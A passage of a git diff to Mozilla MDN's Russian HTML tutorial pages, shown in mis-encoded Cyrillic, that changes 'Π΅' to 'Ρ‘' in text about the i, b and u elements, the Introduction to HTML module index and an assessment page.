+<p><span id="result_box" lang="ru"><span class="alt-edited">Π’ΠΎΡ‚ Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ: ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Π΅ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ &lt;b&gt;, &lt;i&gt; ΠΈΠ»ΠΈ &lt;u&gt; для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ значСния, Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΠΎΠ³ΠΎ ΠΆΠΈΡ€Π½Ρ‹ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ, курсивом ΠΈΠ»ΠΈ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ΠΌ, ΠΏΡ€ΠΈ условии, Ρ‡Ρ‚ΠΎ Π½Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ подходящСго элСмСнта. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, всСгда Π²Π°ΠΆΠ½ΠΎ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΌΠ΅Π½Ρ‚Π°Π»ΠΈΡ‚Π΅Ρ‚ доступности. ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡ курсива Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ людям, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΌ устройства для чтСния с экрана, ΠΈΠ»ΠΈ людям, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΌ систСму письма, ΠΎΡ‚Π»ΠΈΡ‡Π½ΡƒΡŽ ΠΎΡ‚ латинского Π°Π»Ρ„Π°Π²ΠΈΡ‚Π°.</span></span></p>
<ul>
<li>{{HTMLElement ('i')}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ значСния, Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΠΎΠ³ΠΎ курсивом: иностранныС слова, таксономичСскиС обозначСния, тСхничСскиС Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρ‹, мысли ...</li>
<li><span id="result_box" lang="ru"><span>{{HTMLElement ('b')}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ значСния, Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΠΎΠ³ΠΎ ΠΆΠΈΡ€Π½Ρ‹ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ: ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова, названия ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΎΠ², прСдлоТСния ...</span></span></li>
- <li><span id="result_box" lang="ru"><span>{{HTMLElement ('u')}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ значСния, Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΠΎΠ³ΠΎ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ΠΌ: имя собствСнноС</span></span><span lang="ru"><span>, орфографичСская ошибка ...</span></span></li>
+ <li><span id="result_box" lang="ru"><span>{{HTMLElement ('u')}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ значСния, Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΠΎΠ³ΠΎ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ΠΌ: имя собствСнноС</span></span><span lang="ru"><span>, орфографичСская ошибка ...</span></span></li>
</ul>
<div class="note">
-<p><span id="result_box" lang="ru"><span>ΠŸΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΎ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠΈ:<strong> люди сильно Π°ΡΡΠΎΡ†ΠΈΠΈΡ€ΡƒΡŽΡ‚ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ с гипСрссылками</strong>.</span> <span>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ Π»ΡƒΡ‡ΡˆΠ΅ всСго ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ссылки.</span> <span>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ элСмСнт &lt;u&gt;, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ сСмантичСски ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚, Π½ΠΎ ΠΏΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ CSS для измСнСния подчСркивания ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для Ρ‡Π΅Π³ΠΎ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ подходящСго Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅.</span> <span>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅ ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚, ΠΊΠ°ΠΊ это ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ.</span></span></p>
+<p><span id="result_box" lang="ru"><span>ΠŸΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΎ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠΈ:<strong> люди сильно Π°ΡΡΠΎΡ†ΠΈΠΈΡ€ΡƒΡŽΡ‚ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ с гипСрссылками</strong>.</span> <span>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ Π»ΡƒΡ‡ΡˆΠ΅ всСго ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ссылки.</span> <span>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ элСмСнт &lt;u&gt;, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ сСмантичСски ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚, Π½ΠΎ ΠΏΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ CSS для измСнСния подчёркивания ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для Ρ‡Π΅Π³ΠΎ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ подходящСго Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅.</span> <span>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅ ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚, ΠΊΠ°ΠΊ это ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ.</span></span></p>
</div>
<pre class="brush: html notranslate">&lt;!-- НаучныС наимСнования --&gt;
@@ -987,7 +987,7 @@ textarea.onkeyup = function(){
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ? ΠœΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅ Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">ΠžΡΠ½ΠΎΠ²Ρ‹ рСдактирования тСкста Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ гипСрссылок</a></li>
- <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Π΅Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Ρ‘Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π²Π΅Π±-сайта</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">ΠžΡ‚Π»Π°Π΄ΠΊΠ° HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° письма</a></li>
diff --git a/files/ru/learn/html/introduction_to_html/index.html b/files/ru/learn/html/introduction_to_html/index.html
index c914c8ff27..9d847f1dfe 100644
--- a/files/ru/learn/html/introduction_to_html/index.html
+++ b/files/ru/learn/html/introduction_to_html/index.html
@@ -41,17 +41,17 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML
<dd>Основной Π·Π°Π΄Π°Ρ‡Π΅ΠΉ HTML являСтся ΠΏΡ€ΠΈΠ΄Π°Π½ΠΈΠ΅ тСксту значСния <strong>(</strong>Ρ‚Π°ΠΊΠΆΠ΅ извСстно, ΠΊΠ°ΠΊ <strong>сСмантика</strong>),Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π½Π°Π», ΠΊΠ°ΠΊ Π΅Π³ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ рассматриваСтся Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ HTML, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Π±ΠΈΡ‚ΡŒ Π±Π»ΠΎΠΊ тСкста Π½Π° структуру из заголовков и Π°Π±Π·Π°Ρ†Π΅Π², Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π°ΠΊΡ†Π΅Π½Ρ‚/Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ слов, ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ списки ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</dd>
<dt><a href="/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ гипСрссылок</a></dt>
<dd>ГипСрссылки ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½Ρ‹ β€” вСдь ΠΈΠΌΠ΅Π½Π½ΠΎ ΠΎΠ½ΠΈ Π΄Π΅Π»Π°ΡŽΡ‚ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ΠΎΠΌ. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ описан синтаксис, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ для создания ссылок,Β Π° Ρ‚Π°ΠΊΠΆΠ΅ описано ΠΈΡ… Π½Π°ΠΈΠ»ΡƒΡ‡ΡˆΠ΅Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅.</dd>
- <dt><a href="/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Π΅Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></dt>
+ <dt><a href="/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Ρ‘Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></dt>
<dd>БущСствуСт мноТСство Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнтов HTML для рСдактирования тСкста, ΠΏΡ€ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ Π²Π°ΠΌ Π½Π΅ рассказали Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">ΠžΡΠ½ΠΎΠ²Ρ‹ рСдактирования тСкста Π² HTML</a>. ΠžΠΏΠΈΡΠ°Π½Π½Ρ‹Π΅ здСсь элСмСнты ΠΌΠ΅Π½Π΅Π΅ извСстны, Π½ΠΎ ΠΎ Π½ΠΈΡ… Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π·Π½Π°Ρ‚ΡŒ. Π—Π΄Π΅ΡΡŒ Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅Β Ρ†ΠΈΡ‚Π°Ρ‚, списках описания, ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠΌΒ ΠΊΠΎΠ΄Π΅ ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΡΠΎΠΏΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌΒ Ρ‚Π΅ΠΊΡΡ‚Π΅, Π½ΠΈΠΆΠ½Π΅ΠΌ ΠΈ Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ индСксах, ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠΌ Π΄Ρ€ΡƒΠ³ΠΎΠΌ.</dd>
<dt><a href="/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π²Π΅Π±-сайта</a></dt>
<dd>Помимо ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΡΒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… частСй страницы (Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊΒ "Π°Π±Π·Π°Ρ†" ΠΈΠ»ΠΈ "ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅"), HTML Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для опрСдСлСния ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… Π·ΠΎΠ½ Π²Π΅Π±-сайта (Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊΒ "шапка", "мСню Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ",Β  "столбСц с основным содСрТимым".)Β Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ рассматриваСтся, ΠΊΠ°ΠΊ ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ Π±Π°Π·ΠΎΠ²ΡƒΡŽ структуру Π²Π΅Π±-сайта ΠΈ ΠΏΠΈΡΠ°Ρ‚ΡŒ HTML для прСдставлСния этой структуры.</dd>
<dt><a href="/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">ΠžΡ‚Π»Π°Π΄ΠΊΠ° HTML</a></dt>
- <dd>ΠŸΠΈΡΠ°Ρ‚ΡŒ Π½Π° HTML Ρ…ΠΎΡ€ΠΎΡˆΠΎ, Π½ΠΎ Ρ‡Ρ‚ΠΎ, Ссли Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΈΠ΄Π΅Ρ‚ Π½Π΅ Ρ‚Π°ΠΊ, ΠΈ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ мСсто ошибки Π² ΠΊΠΎΠ΄Π΅? Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ Π²Ρ‹ ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚Π΅ΡΡŒ с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ инструмСнтами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π’Π°ΠΌ ΠΏΠΎΠΌΠΎΡ‡ΡŒ.</dd>
+ <dd>ΠŸΠΈΡΠ°Ρ‚ΡŒ Π½Π° HTML Ρ…ΠΎΡ€ΠΎΡˆΠΎ, Π½ΠΎ Ρ‡Ρ‚ΠΎ, Ссли Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΈΠ΄Ρ‘Ρ‚ Π½Π΅ Ρ‚Π°ΠΊ, ΠΈ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ мСсто ошибки Π² ΠΊΠΎΠ΄Π΅? Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ Π²Ρ‹ ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚Π΅ΡΡŒ с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ инструмСнтами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π’Π°ΠΌ ΠΏΠΎΠΌΠΎΡ‡ΡŒ.</dd>
</dl>
<h2 id="ΠžΡ†Π΅Π½ΠΊΠ°">ΠžΡ†Π΅Π½ΠΊΠ°</h2>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ задания провСрят вашС пониманиС основ HTML, описанных Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π²Ρ‹ΡˆΠ΅ руководствах.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ задания провСрят вашС пониманиС основ HTML, описанных Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π²Ρ‹ΡˆΠ΅ руководствах.</p>
<dl>
<dt><a href="/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° письма</a></dt>
@@ -64,5 +64,5 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML
<dl>
<dt><a href="https://teach.mozilla.org/activities/web-lit-basics/">ΠžΡΠ½ΠΎΠ²Ρ‹ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-грамотности</a></dt>
- <dd>ΠžΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉΒ ΠΊΡƒΡ€Ρ Mozilla, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ Π΄Π°Π΅Ρ‚ мноТСство тСстов, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‰ΠΈΡ… знания, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ <em>Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² HTML. </em>УчащиСся знакомятся с Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ΠΌ, письмом ΠΈ использованиСм сСти Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ ΠΈΠ· 6 частСй. ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ для сСбя основы Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π° Ρ‡Π΅Ρ€Π΅Π· производство и сотрудничСство.</dd>
+ <dd>ΠžΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉΒ ΠΊΡƒΡ€Ρ Mozilla, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ Π΄Π°Ρ‘Ρ‚ мноТСство тСстов, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‰ΠΈΡ… знания, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ <em>Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² HTML. </em>УчащиСся знакомятся с Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ΠΌ, письмом ΠΈ использованиСм сСти Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ ΠΈΠ· 6 частСй. ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ для сСбя основы Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π° Ρ‡Π΅Ρ€Π΅Π· производство и сотрудничСство.</dd>
</dl>
diff --git a/files/ru/learn/html/introduction_to_html/marking_up_a_letter/index.html b/files/ru/learn/html/introduction_to_html/marking_up_a_letter/index.html
index 4638bb8c24..26d593df31 100644
--- a/files/ru/learn/html/introduction_to_html/marking_up_a_letter/index.html
+++ b/files/ru/learn/html/introduction_to_html/marking_up_a_letter/index.html
@@ -17,7 +17,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Marking_up_a_letter
<tr>
<th scope="row">Знания:</th>
<td>
- <p>ΠŸΠ΅Ρ€Π΅Π΄ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ этого задания Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΎΠΉΡ‚ΠΈΒ <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%9D%D0%B0%D1%87%D0%B0%D0%BB%D0%BE_%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B">Начало Ρ€Π°Π±ΠΎΡ‚Ρ‹ с HTML</a>, <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ? ΠœΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅ Π² HTML</a>, <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">ΠžΡΠ½ΠΎΠ²Ρ‹ рСдактирования тСкста Π² HTML</a>, <a 